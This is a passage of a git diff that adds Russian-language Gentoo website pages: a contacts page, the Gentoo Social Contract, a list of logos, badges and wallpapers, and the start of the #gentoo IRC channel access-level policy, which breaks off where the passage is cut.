+      <li>
+        <uri link="http://www-106.ibm.com/developerworks/library/amiga2">Expanding the Linux community through cross-platform architecture</uri>
+      </li>
+    </ul>
+  </li>
+  -->
+</ol>
+    
+</body>
+</section>
+
+</chapter>
+</guide>
diff --git a/xml/htdocs/main/ru/contact.xml b/xml/htdocs/main/ru/contact.xml
new file mode 100644
index 00000000..a1825233
--- /dev/null
+++ b/xml/htdocs/main/ru/contact.xml
@@ -0,0 +1,136 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE mainpage SYSTEM "/dtd/guide.dtd">
+<mainpage lang="ru">
+<title>Контакты Gentoo</title>
+
+<author title="автор">
+  <mail link="wolf31o2@gentoo.org">Chris Gianelloni</mail>
+</author>
+<author title="ответственный переводчик">
+  <mail link="achumakov@gentoo.org">Alexey Chumakov</mail>
+</author>
+
+<abstract>
+Как связаться с Gentoo
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.1</version>
+<date>2006-08-01</date>
+
+<chapter>
+<title>К кому мне обратиться?</title>
+<section>
+<title>Содержание</title>
+<body>
+
+<ul>
+  <li><uri link="#intro">Введение</uri></li>
+  <li><uri link="#pr">Связи с общественностью/события</uri></li>
+  <li><uri link="#www">Веб-мастер</uri></li>
+  <li><uri link="#trustees">Фонд Gentoo</uri></li>
+</ul>
+
+</body>
+</section>
+
+<section id="intro">
+<title>Введение</title>
+<body>
+
+<p>
+"Gentoo" &mdash; это многое. Это поставка Linux, поддерживаемая сообществом.
+Это философия управления пакетами. Это также некоммерческая организация.
+Данный документ поможет вам связаться с нужной группой в Gentoo, чтобы 
+как можно быстрее получить ответ на свое письмо. 
+</p>
+
+<p>
+За сведениями о предстоящих событиях, встречах, с общими вопросами или
+просто чтобы разузнать побольше о Gentoo и товарах Gentoo, лучше всего
+обратиться к кому-либо из проекта <uri link="#pr">связей с
+общественностью</uri> Gentoo.
+</p>
+
+<p>
+За информацией об этом и всех остальных веб-сайтах Gentoo, размещенных
+в домене <c>gentoo.org</c>, лучше всего обратиться к <uri
+link="#www">веб-мастерам</uri> Gentoo.
+</p>
+
+<p>
+За сведениями о Фонде Gentoo и по всем вопросам, связанным с интеллектуальной
+собственностью Gentoo, торговыми знаками и авторскими правами, лучше всего
+обратиться в <uri link="#trustees">совет попечителей</uri> Фонда
+Gentoo.
+</p>
+
+<p>
+Если вам требуется поддержка Gentoo или любого другого продукта или проекта
+Gentoo, за дополнительными сведениями лучше перейти к нашей странице
+<uri link="/main/ru/support.xml">поддержки</uri>.
+</p>
+
+</body>
+</section>
+
+<section id="pr">
+<title>Связи с общественностью</title>
+<body>
+
+<p>
+Проект <uri link="/proj/en/pr/">связей с общественностью</uri> Gentoo и его
+подпроект <uri link="/proj/en/pr/events/">событий</uri> отвечают за
+широкое освещение Gentoo, а также за координацию присутствия Gentoo в
+сообществе на выставках и ярмарках.
+</p>
+
+<p>
+Команда PR &mdash; первая из тех, с которыми вам стоит связаться, чтобы
+приоткрыть дверь во внутреннюю деятельность Gentoo. Обращайтесь к ней,
+если вам нужны материалы для статьи, человек для интервью, или вы просто
+хотите побольше узнать о Gentoo и его предложениях. 
+Чтобы связаться с командой по связям с общественностью, просто напишите
+по адресу <mail>pr@gentoo.org</mail>, и вскоре с вами свяжется кто-либо
+из ее членов.
+</p>
+
+</body>
+</section>
+
+<section id="www">
+<title>Веб-мастера</title>
+<body>
+
+<p>
+Обеспечение присутствия Gentoo в вебе &mdash; страшное дело. В Gentoo есть
+выделенная команда веб-мастеров, поддерживающих внешний вид и актуальность
+нашего сайта. Если у вас возник вопрос или комментарий о любом веб-сайте
+Gentoo, то вам нужна именно эта команда. С ней можно связаться, послав
+письмо по адресу <mail>www@gentoo.org</mail>.
+</p>
+
+</body>
+</section>
+
+<section id="trustees">
+<title>Совет попечителей Фонда Gentoo</title>
+<body>
+
+<p>
+<uri link="/foundation/en/">Фонд Gentoo</uri> &mdash; некоммерческая
+организация, выступающая в роли защитника интеллектуальной собственности
+Gentoo. В совет попечителей входят выборные держатели юридического лица
+Gentoo в Соединенных Штатах. Если ваш вопрос относится к юридическим,
+напишите по адресу <mail>trustees@gentoo.org</mail>, и при первой возможности
+с вами свяжется член совета.
+</p>
+
+</body>
+</section>
+
+</chapter>
+</mainpage>
diff --git a/xml/htdocs/main/ru/contract.xml b/xml/htdocs/main/ru/contract.xml
new file mode 100644
index 00000000..74578d57
--- /dev/null
+++ b/xml/htdocs/main/ru/contract.xml
@@ -0,0 +1,145 @@
+<?xml version='1.0' encoding='utf-8'?>
+
+<!DOCTYPE mainpage SYSTEM "/dtd/guide.dtd">
+
+<mainpage lang="ru">
+<title>Общественный договор Gentoo</title>
+
+<author title="автор">
+  Проект Gentoo
+</author>
+<author title="переводчик">
+  <mail link="svyatogor@gentoo.org">Сергей Кулешов</mail>
+</author>
+<author title="редактор">
+  <mail link="curtis119@gentoo.org">Curtis Napier</mail>
+</author>
+<author title="ведущий переводчик">
+  <mail link="achumakov@gentoo.org">Алексей Чумаков</mail>
+</author>
+
+<abstract>
+В этом документе сообществу Gentoo дается обет свободы программного 
+обеспечения Gentoo, открытости процесса разработки Gentoo и нашей отдачи 
+сообществу свободного программного обеспечения.
+</abstract>
+
+<version>1.9</version>
+<date>2006-04-30</date>
+
+<chapter>
+<title>Общественный договор Gentoo</title>
+<section>
+<body>	
+
+<p>
+Настоящий общественный договор призван четко описать общие правила разработки и 
+стандарты команды разработки Gentoo Linux. Часть этого документа основана на <uri
+link="http://www.debian.org/social_contract">общественном договоре 
+Debian</uri>. Договор в целом весьма похож на него, хотя некоторые положения 
+уточнены и дополнены, а другие исключены из-за избыточности. Комментарии с радостью 
+принимаются. Пожалуйста, направляйте их в наш список рассылки <mail 
+link="gentoo-dev@gentoo.org">gentoo-dev@gentoo.org</mail> (на английском языке).
+</p>
+
+</body>
+</section>
+<section>
+<title>Что такое Gentoo?</title>
+<body>
+
+<p>
+Собственно Gentoo &mdash; это собрание открытых знаний. В этом контексте знания 
+определяются как документация и метаданные, касающиеся концепций или областей, 
+относящихся к операционным системам и их компонентам, а также к <uri
+link="http://www.fsf.org/philosophy/free-sw.html">свободному программному 
+обеспечению</uri>, предоставленному проекту Gentoo различными разработчиками.
+</p>
+
+<p>
+Gentoo, операционная система, происходит от базовой концепции знания, описанной 
+выше. Операционная система Gentoo должна быть самоподдерживающейся. Другими 
+словами, операционная система должна быть способна построить себя с нуля с 
+использованием вышеупомянутых инструментов и метаданных. Если продукт, 
+связанный с официальным проектом Gentoo, не удовлетворяет этим требованиям, 
+такой продукт не может считаться операционной системой Gentoo.
+</p>
+
+<p>
+Официальный список проектов Gentoo приведен в рамках <uri 
+link="http://www.gentoo.org/proj/en/metastructure/projects.xml">метаструктуры 
+Gentoo</uri>. Проекту Gentoo для официального признания не требуется 
+производить операционную систему Gentoo.
+</p>
+
+</body>
+</section>
+<section>
+<title>Gentoo Linux есть и будет открытым программным продуктом</title>
+<body>
+
+<p>
+Мы обязуемся вносить свой вклад в Gentoo в виде свободного программного
+обеспечения, метаданных или документации на условиях лицензии GNU General 
+Public License версии 2 (или более поздней, на наше усмотрение). Мы можем 
+включать в Gentoo любые внешние поступления (в виде свободно распространяемых 
+исходных или двоичных кодов, метаданных или документации) при условии, что у 
+нас на это будет законное право. Однако, Gentoo никогда не будет <e>зависеть</e> от 
+фрагмента программного продукта или метаданных, не соответствующего лицензии 
+GNU General Public License, GNU Lesser General Public License, Creative Commons 
+&mdash; Attribution/Share Alike License, или другой лицензии, одобренной Open 
+Source Initiative (<uri 
+link="http://www.opensource.org/licenses/index.html">OSI</uri>).
+</p>
+
+<note>
+Мы допускаем возможность расширения этого пункта требованием подчинения всех
+базовых компонентов Gentoo Linux лицензии, одобренной OSI <e>и</e> 
+Free Software Foundation (<uri link="http://www.gnu.org/">FSF</uri>).
+</note>
+
+</body>
+</section>
+<section>
+<title>
+  От нас будет ответная отдача сообществу свободных программных продуктов
+</title>
+<body>
+
+<p>
+Мы установим связь с авторами свободных программ, и будем по возможности
+сотрудничать. Мы будем направлять исправления ошибок, улучшения, запросы
+пользователей и другие материалы &laquo;изначальным&raquo; авторам программ, 
+включённых в нашу систему. Мы также будем четко документировать <e>наш</e> 
+вклад в Gentoo, а также любые улучшения или изменения, вносимые нами во внешний 
+исходный код, используемый Gentoo (как в виде заплаток, 
+&laquo;sed-поправок&raquo;, так и в другой форме). Мы сознаем, что наши 
+улучшения и изменения тем более значимы для большей части сообщества свободного 
+программного обеспечения, чем более четко они документированы и объяснены, так 
+как не у каждого есть время и возможность понять буквальный смысл изменений, 
+содержащихся в самих заплатках или дополнениях.
+</p>
+
+</body>
+</section>
+<section>
+<title>Мы не будем скрывать проблемы</title>
+<body>
+
+<p>
+Мы обеспечим постоянную открытость своей <uri 
+link="http://bugs.gentoo.org/">системы регистрации запросов</uri>
+для широкой общественности. Отчеты об ошибках, составляемые пользователями 
+онлайн, будут сразу видны всем желающим. 
+</p> 
+
+<p>                                                                   	
+Из этого правила допускаются исключения при получении сведений, относящихся 
+к вопросам безопасности или взаимодействия разработчиков, сопровождаемых 
+просьбой о запрете публикации на определенный срок.
+</p>
+
+</body>
+</section>
+</chapter>
+</mainpage>
diff --git a/xml/htdocs/main/ru/graphics.xml b/xml/htdocs/main/ru/graphics.xml
new file mode 100644
index 00000000..773ac78d
--- /dev/null
+++ b/xml/htdocs/main/ru/graphics.xml
@@ -0,0 +1,433 @@
+<?xml version='1.0' encoding='utf-8'?>
+<!DOCTYPE mainpage SYSTEM "/dtd/guide.dtd">
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/main/ru/graphics.xml,v 1.6 2007/03/16 10:40:45 neysx Exp $ -->
+
+<mainpage lang="ru">
+<title>Изображения Gentoo Linux</title>
+
+<author title="предыдущий главный архитектор">
+  <mail link="drobbins@gentoo.org">Daniel Robbins</mail>
+</author>
+<author title="редактор">
+  <mail link="curtis119@gentoo.org">Curtis Napier</mail>
+</author>
+<author title="переводчик">
+  <mail link="achumakov@gentoo.org">Алексей Чумаков</mail>
+</author>
+
+<abstract>
+Список различных графических ресурсов, доступных для применения при 
+соблюдении условий использования названия и логотипа Gentoo
+</abstract>
+
+<version>2.8</version>
+<date>2006-04-30</date>
+
+<chapter>
+<title>Изображения с символикой Gentoo</title>
+<section>
+<title>Условия использования</title>
+<body>
+
+<p>
+Изображения на этой странице созданы различными авторами, которые дают вам 
+разрешение на их использование и изменение по вашему усмотрению. Использование 
+названия и логотипа Gentoo допускается в соответствии с <uri 
+link="/main/ru/name-logo.xml">условиями использования названия и логотипа 
+Gentoo</uri>.
+</p>
+
+</body>
+</section>
+<section>
+<title>Примите участие</title>
+<body>
+
+<p>
+Если вы хотите поделиться изображением с Gentoo, пожалуйста, сначала обратитесь 
+на <uri link="http://forums.gentoo.org">форумы Gentoo</uri>, чтобы другие смогли
+прокомментировать и помочь вам повысить качество изображения. Затем свяжитесь с
+<mail link="www@gentoo.org">командой WWW Gentoo</mail>, и попросите опубликовать
+свое изображение.
+</p>
+
+<p>
+Команда может принять решение не включать ваше произведение, если оно слишком 
+близко к существующим изображениям, не обладает достаточным разрешением, не 
+соответствует духу Gentoo (например, слишком оскорбительно), или по любой 
+другой причине.
+</p>
+
+<p>
+Включение изображения на страницу может занять некоторое время, будьте 
+терпеливы.
+</p>
+
+</body>
+</section>
+<section>
+<title>Различные изображения Gentoo</title>
+<body>
+
+<p>
+<uri link="/images/gentoo-logo.svg">Логотип G в формате svg, предоставленный
+Lennart Andre Rolland</uri>
+</p>
+
+</body>
+</section>
+<section>
+<title>Значки Gentoo Linux</title>
+<body>
+
+<p>
+<b>Дайте миру знать, что вы работаете в Gentoo Linux.</b>
+</p>
+
+<p>
+Разместите изображение <e>Powered by Gentoo</e> на своих веб-сайтах, 
+управляемых Gentoo, или вставьте <e>значок Gentoo</e> на свою веб-страницу, 
+в блог, подпись на форуме или где-нибудь еще, вместе со ссылкой на 
+<uri link="http://www.gentoo.org">http://www.gentoo.org</uri> &mdash;
+помогите нам распространить это слово! Расскажите другим, что вам нравится
+Gentoo Linux.
+</p>
+
+<table>
+<tr>
+  <ti>
+    <fig link="/images/powered-show.png"/>
+  </ti>
+  <ti>
+    <fig link="/images/powered-by-gentoo.jpg"/><br/>
+    <fig link="/images/powered-by-gentoo2.jpg"/><br/>
+    <fig link="/images/powered-by-gentoo3.png"/><br/>
+    <fig link="/images/powered-by-gentoo4.png"/>
+  </ti>
+  <ti>
+    <fig link="/images/ralph_gentoo_badge.png"/>
+  </ti>
+  <ti>
+    <fig link="/images/gentoo-badge.png"/>
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <uri link="/images/powered-small.png">маленький</uri> - 
+    <uri link="/images/powered.png">средний</uri> -
+    <uri link="/images/powered-big.png">большой</uri>
+  </ti>
+  <ti>
+    автор &mdash; Sascha Schwabbauer
+  </ti>
+  <ti>
+    автор &mdash; Ralph Jacobs
+  </ti>
+  <ti>
+    автор &mdash; Ryan Viljoen
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <fig link="/images/gentoo-badge2.png"/>
+  </ti>
+  <ti>
+    <fig link="/images/gentoo-badge3.png"/>
+  </ti>
+  <ti>
+    <fig link="/images/szbence-badge1.png"/><br/>
+    <fig link="/images/szbence-badge2.png"/><br/>
+    <fig link="/images/szbence-badge3.png"/><br/>
+    <fig link="/images/szbence-badge4.png"/><br/>
+    <fig link="/images/szbence-badge5.png"/><br/>
+    <fig link="/images/szbence-badge6.png"/>
+  </ti>
+  <ti/>
+</tr>
+<tr>
+  <ti>
+    автор &mdash; <uri link="http://forums.gentoo.org/profile.php?mode=viewprofile&amp;u=36364">m@o</uri>
+  </ti>
+  <ti>
+    автор &mdash; <uri link="http://forums.gentoo.org/profile.php?mode=viewprofile&amp;u=26433">wolven</uri>
+  </ti>
+  <ti/>
+  <ti/>
+</tr>
+</table>
+
+</body>
+</section>
+<section>
+<title>Экранные обои Gentoo Linux</title>
+<body>
+
+<p>
+<b>Оформите свой рабочий стол замечательными обоями Gentoo, и покажите 
+коллегам, что вы пользуетесь Gentoo Linux.</b>
+</p>
+
+<p>
+Используйте одни из <e>обоев Gentoo</e>, чтобы украсить свой рабочий стол. 
+Покажите всем, что вы гордитесь тем, что используете Gentoo Linux.
+</p>
+
+<!--
+  Use 120x90 graphics for display purposes
+-->
+
+<table>
+<tr>
+  <ti>
+    <fig link="/images/backgrounds/gentoo120x90.jpg"/>
+  </ti>
+  <ti>
+    <fig link="/images/backgrounds/gentoo-cycle-120x90.jpg"/>
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <uri link="/images/backgrounds/gentoo640x480.jpg">640x680</uri> - 
+    <uri link="/images/backgrounds/gentoo1024x768.jpg">1024x768</uri> -
+    <uri link="/images/backgrounds/gentoo1152x864.jpg">1152x864</uri> - 
+    <uri link="/images/backgrounds/gentoo1280x1024.jpg">1280x1024</uri> -
+    <uri link="/images/backgrounds/gentoo1600x1200.jpg">1600x1200</uri><br/>
+    автор &mdash; <uri link="http://forums.gentoo.org/viewtopic.php?t=6745">mksoft</uri>
+  </ti>
+  <ti>
+    <uri link="/images/backgrounds/gentoo-cycle-640x480.jpg">640x480</uri> -
+    <uri link="/images/backgrounds/gentoo-cycle-1024x768.jpg">1024x768</uri> -
+    <uri link="/images/backgrounds/gentoo-cycle-1152x864.jpg">1152x864</uri> -
+    <uri link="/images/backgrounds/gentoo-cycle-1280x1024.jpg">1280x1024</uri> -
+    <uri link="/images/backgrounds/gentoo-cycle-1600x1200.jpg">1600x1200</uri>
+    <br/>
+    автор &mdash; <uri link="http://forums.gentoo.org/viewtopic.php?t=6868">mksoft</uri>
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <fig link="/images/backgrounds/gentoo-ice-light2-120x90.jpg"/>
+  </ti>
+  <ti>
+    <fig link="/images/backgrounds/gentoo-ice-120x90.jpg"/>
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <uri link="/images/backgrounds/gentoo-ice-light2-640x480.jpg">640x480</uri> - 
+    <uri link="/images/backgrounds/gentoo-ice-light2-1024x768.jpg">1024x768</uri> -
+    <uri link="/images/backgrounds/gentoo-ice-light2-1152x864.jpg">1152x864</uri> -
+    <uri link="/images/backgrounds/gentoo-ice-light2-1280x1024.jpg">1280x1024</uri> -
+    <uri link="/images/backgrounds/gentoo-ice-light2-1600x1200.jpg">1600x1200</uri>
+    <br/>
+    автор &mdash; <uri link="http://forums.gentoo.org/viewtopic.php?t=7993">mksoft</uri>
+  </ti>
+  <ti>
+    <uri link="/images/backgrounds/gentoo-ice-640x480.jpg">640x480</uri> -
+    <uri link="/images/backgrounds/gentoo-ice-1024x768.jpg">1024x768</uri> -
+    <uri link="/images/backgrounds/gentoo-ice-1152x864.jpg">1152x864</uri> -
+    <uri link="/images/backgrounds/gentoo-ice-1280x1024.jpg">1280x1024</uri> -
+    <uri link="/images/backgrounds/gentoo-ice-1600x1200.jpg">1600x1200</uri>
+    <br/>
+    автор &mdash; <uri link="http://forums.gentoo.org/viewtopic.php?t=7672">mksoft</uri>
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <fig link="/images/backgrounds/gentoo-box-120x90.jpg"/>
+  </ti>
+  <ti>
+    <fig link="/images/backgrounds/gentoo-minimal-120x90.jpg"/>
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <uri link="/images/backgrounds/gentoo-box-640x480.jpg">640x480</uri> -
+    <uri link="/images/backgrounds/gentoo-box-1024x768.png">1024x768</uri> -
+    <uri link="/images/backgrounds/gentoo-box-1152x864.png">1152x864</uri> -
+    <uri link="/images/backgrounds/gentoo-box-1280x1024.png">1280x1024</uri> -
+    <uri link="/images/backgrounds/gentoo-box-1600x1200.png">1600x1200</uri>
+    <br/>
+    автор &mdash; Luca Martinetti
+  </ti>
+  <ti>
+    <uri link="/images/backgrounds/gentoo-minimal-800x600.jpg">800x600</uri> -
+    <uri link="/images/backgrounds/gentoo-minimal-1024x768.jpg">1024x768</uri> -
+    <uri link="/images/backgrounds/gentoo-minimal-1152x864.jpg">1152x864</uri> -
+    <uri link="/images/backgrounds/gentoo-minimal-1280x1024.jpg">1280x1024</uri> -
+    <uri link="/images/backgrounds/gentoo-minimal-1600x1200.jpg">1600x1200</uri>
+    <br/>
+    автор &mdash; <uri link="http://forums.gentoo.org/viewtopic-t-365758.html">Brian
+    Wigginton</uri>
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <fig link="/images/backgrounds/gentoo-amd64_1-120x90.jpg"/>
+  </ti>
+  <ti>
+    <fig link="/images/backgrounds/gentoo-amd64_2-120x90.jpg"/>
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <uri link="/images/backgrounds/gentoo-amd64_1-800x600.jpg">800x600</uri> - 
+    <uri link="/images/backgrounds/gentoo-amd64_1-1024x768.jpg">1024x768</uri> - 
+    <uri link="/images/backgrounds/gentoo-amd64_1-1280x1024.jpg">1280x1024</uri>
+    <br/>
+    автор &mdash; Tedder Wayne
+  </ti>
+  <ti>
+    <uri link="/images/backgrounds/gentoo-amd64_2-800x600.jpg">800x600</uri> - 
+    <uri link="/images/backgrounds/gentoo-amd64_2-1024x768.jpg">1024x768</uri> - 
+    <uri link="/images/backgrounds/gentoo-amd64_2-1280x1024.jpg">1280x1024</uri>
+    <br/>
+    автор &mdash; Tedder Wayne
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <fig link="/images/backgrounds/gentoo-glass-120x90.jpg"/>
+  </ti>
+  <ti>
+    <fig link="/images/backgrounds/gentoo-causticswp-120x90.jpg"/>
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <uri link="/images/backgrounds/gentoo-glass-800x600.jpg">800x600</uri> - 
+    <uri link="/images/backgrounds/gentoo-glass-1024x768.jpg">1024x768</uri> -
+    <uri link="/images/backgrounds/gentoo-glass-1280x1024.jpg">1280x1024</uri> - 
+    <uri link="/images/backgrounds/gentoo-glass-1600x1200.jpg">1600x1200</uri>
+    <br/>
+    автор &mdash; Robert Krig
+  </ti>
+  <ti>
+    <uri link="/images/backgrounds/gentoo-causticswp-800x600.jpg">800x600</uri>
+    - 
+    <uri
+    link="/images/backgrounds/gentoo-causticswp-1024x768.jpg">1024x768</uri> - 
+    <uri
+    link="/images/backgrounds/gentoo-causticswp-1280x1024.jpg">1280x1024</uri> - 
+    <uri
+    link="/images/backgrounds/gentoo-causticswp-1600x1200.jpg">1600x1200</uri>
+    <br/>
+    автор &mdash; Robert Krig
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <fig link="/images/backgrounds/gentoo-water-120x90.jpg"/>
+  </ti>
+  <ti>
+    <fig link="/images/backgrounds/gentoo-chojindsl_1-120x90.jpg"/>
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <uri link="/images/backgrounds/gentoo-water-800x600.jpg">800x600</uri> - 
+    <uri link="/images/backgrounds/gentoo-water-1024x768.jpg">1024x768</uri> -
+    <uri link="/images/backgrounds/gentoo-water-1280x1024.jpg">1280x1024</uri> -
+    <uri link="/images/backgrounds/gentoo-water-1600x1200.jpg">1600x1200</uri>
+    <br/>
+    автор &mdash; Robert Krig
+  </ti>
+  <ti>
+    <uri link="/images/backgrounds/gentoo-chojindsl_1-800x600.jpg">800x600</uri>
+    - 
+    <uri
+    link="/images/backgrounds/gentoo-chojindsl_1-1024x768.jpg">1024x768</uri> - 
+    <uri link="/images/backgrounds/gentoo-chojindsl_1-1280x1024.jpg">1280x1024</uri>
+    - 
+    <uri
+    link="/images/backgrounds/gentoo-chojindsl_1-1600x1200.jpg">1600x1200</uri>
+    <br/>
+    автор &mdash; Robert Krig
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <fig link="/images/backgrounds/gentoo-chojindsl_2-120x90.jpg"/>
+  </ti>
+  <ti>
+    <fig link="/images/backgrounds/cow-push-120x90.jpg"/>
+  </ti>
+</tr>
+<tr>
+  <ti>
+     <uri link="/images/backgrounds/gentoo-chojindsl_2-800x600.jpg">800x600</uri>
+    - 
+    <uri
+    link="/images/backgrounds/gentoo-chojindsl_2-1024x768.jpg">1024x768</uri> - 
+    <uri link="/images/backgrounds/gentoo-chojindsl_2-1280x1024.jpg">1280x1024</uri>
+    - 
+    <uri
+    link="/images/backgrounds/gentoo-chojindsl_2-1600x1200.jpg">1600x1200</uri>
+    <br/>
+    автор &mdash; Robert Krig
+  </ti>
+  <ti>
+    <uri link="/images/backgrounds/cow-push-800x600.jpg">800x600</uri> - 
+    <uri link="/images/backgrounds/cow-push-1024x768.jpg">1024x768</uri> - 
+    <uri link="/images/backgrounds/cow-push-1152x864.jpg">1152x864</uri> - 
+    <uri link="/images/backgrounds/cow-push-1280x1024.jpg">1280x1024</uri> - 
+    <uri link="/images/backgrounds/cow-push-1600x1200.jpg">1600x1200</uri>
+    <br/>
+    автор &mdash; <uri
+    link="http://forums.gentoo.org/profile.php?mode=viewprofile&amp;u=100549">Tero Konttila</uri>
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <fig link="/images/backgrounds/cow-push2-120x90.jpg"/>
+  </ti>
+  <ti>
+    <fig link="/images/backgrounds/macosx-gentoo-120x90.jpg"/>
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <uri link="/images/backgrounds/cow-push2-800x600.jpg">800x600</uri> - 
+    <uri link="/images/backgrounds/cow-push2-1024x768.jpg">1024x768</uri> - 
+    <uri link="/images/backgrounds/cow-push2-1152x864.jpg">1152x864</uri> - 
+    <uri link="/images/backgrounds/cow-push2-1280x1024.jpg">1280x1024</uri> - 
+    <uri link="/images/backgrounds/cow-push2-1600x1200.jpg">1600x1200</uri>
+    <br/>
+    автор &mdash; <uri
+    link="http://forums.gentoo.org/profile.php?mode=viewprofile&amp;u=100549">Tero Konttila</uri>
+  </ti>
+  <ti>
+    <uri link="/images/backgrounds/macosx-gentoo-800x600.jpg">800x600</uri> - 
+    <uri link="/images/backgrounds/macosx-gentoo-1024x768.jpg">1024x768</uri> - 
+    <uri link="/images/backgrounds/macosx-gentoo-1152x864.jpg">1152x864</uri> - 
+    <uri link="/images/backgrounds/macosx-gentoo-1280x1024.jpg">1280x1024</uri> - 
+    <uri link="/images/backgrounds/macosx-gentoo-1600x1200.jpg">1600x1200</uri>
+    <br/>
+    автор &mdash; Przemyslaw Pazik
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <fig link="/images/backgrounds/gentoo-abducted-120x90.png"/>
+  </ti>
+  <ti></ti>
+</tr>
+<tr>
+  <ti>
+    <uri link="/images/backgrounds/gentoo-abducted-800x600.png">800x600</uri> -
+    <uri link="/images/backgrounds/gentoo-abducted-1024x768.png">1024x768</uri> -
+    <uri link="/images/backgrounds/gentoo-abducted-1152x864.png">1152x864</uri> -
+    <uri link="/images/backgrounds/gentoo-abducted-1280x1024.png">1280x1024</uri> -
+    <uri link="/images/backgrounds/gentoo-abducted-1600x1200.png">1600x1200</uri>
+    <br/>
+    автор &mdash; <uri link="http://forums.gentoo.org/viewtopic-t-257123.html">Matteo 'Peach' Pescarin</uri>
+  </ti>
+  <ti></ti>
+</tr>
+</table>
+
+</body>
+</section>
+</chapter>
+</mainpage>
diff --git a/xml/htdocs/main/ru/irc-gentoo-policy.xml b/xml/htdocs/main/ru/irc-gentoo-policy.xml
new file mode 100644
index 00000000..62434981
--- /dev/null
+++ b/xml/htdocs/main/ru/irc-gentoo-policy.xml
@@ -0,0 +1,175 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "http://www.gentoo.org/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/main/ru/irc-gentoo-policy.xml,v 1.3 2006/09/22 01:47:57 achumakov Exp $ -->
+
+<guide link="/main/ru/irc-gentoo-policy.xml" lang="ru">
+<title>Описание структуры #gentoo</title>
+<author title="автор">
+  <mail link="chriswhite@gentoo.org">Chris White</mail>
+</author>
+<author title="автор">
+  <mail link="astinus@gentoo.org">Alex Howells</mail>
+</author>
+<author title="редактор">
+  <mail link="curtis119@gentoo.org">Curtis Napier</mail>
+</author>
+<author title="переводчик">
+  <mail link="achumakov@gentoo.org">Алексей Чумаков</mail>
+</author>
+
+<abstract>
+Это описание призвано очертить структуру IRC-каналов #gentoo.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.1</version>
+<date>2006-04-23</date>
+
+<chapter>
+
+<title>Введение</title>
+<section>
+<title>Назначение</title>
+<body>
+
+<p>
+В этом документе очерчена структура #gentoo.
+</p>
+
+</body>
+</section>
+<section>
+<title>Предпосылки</title>
+<body>
+
+<p>
+Сейчас #gentoo &mdash; канал с огромным количеством пользователей, 
+приближающимся к 1000. Также в него впервые обращаются люди, пробующие Gentoo в
+первый раз. Из-за этого требуется более структурный подход.
+</p>
+
+</body>
+</section>
+<section>
+<title>Структура #gentoo</title>
+<body>
+
+<p>
+Структура #gentoo такова:
+</p>
+
+<ol>
+  <li>
+    Tor-пользователи &mdash; уровень 10: в данный момент из-за неспособности
+    успешно управлять действиями tor-пользователей, вся область заглушена. 
+    Эта категория &mdash; для autovoice, позволяющего им высказываться.</li>
+  <li>
+    Уровень 20 &mdash; для разработчиков. Разработчикам позволено назначать 
+    операторами (<c>OP</c>) самих себя, но не выполнять обычное управление
+    каналом, например, <c>AKICK</c> или добавление других пользователей.</li>
+  <li>
+    Уровень 30 &mdash; для персонала (людей, помогающих выполнять повседневные
+    задачи #gentoo. Им дается доступ к функции <c>AKICK</c>.
+  </li>
+  <li>
+    Уровень 40 &mdash; для администраторов (высшего руководства). Указанные 
+    лица должны быть способны выполнять действия типа исправления списка 
+    доступа с целью изменения полномочий.
+  </li>
+</ol>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Рекомендации</title>
+<section>
+<title>Полномочия</title>
+<body>
+
+<p>
+Вот список полномочий пользователей в зависимости от уровня:
+</p>
+
+<table>
+  <tr><th>10</th><ti>AUTOVOICE</ti><ti>автоматическое выполнение voice</ti></tr>
+  <tr><th>20</th><ti>TOPIC</ti><ti>изменение темы канала</ti></tr>
+  <tr><th>20</th><ti>CMDINVITE</ti><ti>использование команды INVITE</ti></tr>
+  <tr><th>20</th><ti>AUTOOP</ti><ti>автоматическое выполнение op</ti></tr>
+  <tr><th>20</th><ti>CMDUNBAN</ti><ti>использование команды UNBAN</ti></tr>
+  <tr><th>30</th><ti>CMDVOICE</ti><ti>использование команды VOICE</ti></tr>
+  <tr><th>30</th><ti>CMDOP</ti><ti>использование команды OP</ti></tr>
+  <tr><th>30</th><ti>AUTOKICK</ti><ti>право изменения AKICK</ti></tr>
+  <tr><th>40</th><ti>CMDCLEAR</ti><ti>использование команды CLEAR</ti></tr>
+  <tr><th>40</th><ti>SET</ti><ti>изменение значений SET канала</ti></tr>
+  <tr><th>40</th><ti>ACCESS</ti><ti>право изменения ACCESS</ti></tr>
+</table>
+
+</body>
+</section>
+<section>
+<title>Правила</title>
+<body>
+
+<ul>
+  <li>
+    Только разработчики Gentoo имеют право быть администраторами с уровнем 
+    40.
+  </li>
+  <li>
+    Только персонал может иметь дело с заявками .tor-пользователей. Это потому,
+    что персонал лучше всего понимает, как работает #gentoo, и из-за кого могут
+    быть проблемы.
+  </li>
+  <li>
+    Разработчики могут получить статус на канале, направив запрос 
+    администратору.
+  </li> 
+  <li>
+    Уровень доступа пользователей, неактивных без уважительной причины, 
+    понижается, или их доступ блокируется в зависимости от ситуации. 
+    Неактивность определяется как 2 недельная.
+  </li>
+  <li>
+    Сейчас удаление (бан) пользователей производится на 2 недели, после чего
